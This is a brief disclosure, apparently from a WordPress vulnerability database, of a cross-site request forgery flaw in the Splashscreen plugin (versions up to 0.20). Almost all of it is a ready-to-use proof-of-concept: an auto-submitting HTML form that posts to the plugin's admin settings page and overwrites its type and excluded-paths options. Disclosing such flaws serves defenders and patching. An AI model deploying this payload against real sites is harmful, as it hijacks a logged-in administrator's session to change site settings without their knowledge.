Splashscreen <= 0.20 - Settings Update via CSRF

Proof of Concept

<form action="https://example.com/wp-admin/options-general.php?page=splashscreen.php" method="POST">
    <input type="text" name="splashscreen_type" value="dGVtcGxhdGUuaHRt">
    <input type="text" name="splashscreen_excludedpaths" value="">
    <input type="text" name="splashscreen_submit" value="Update">
</form>
<script>
    document.forms[0].submit();
</script>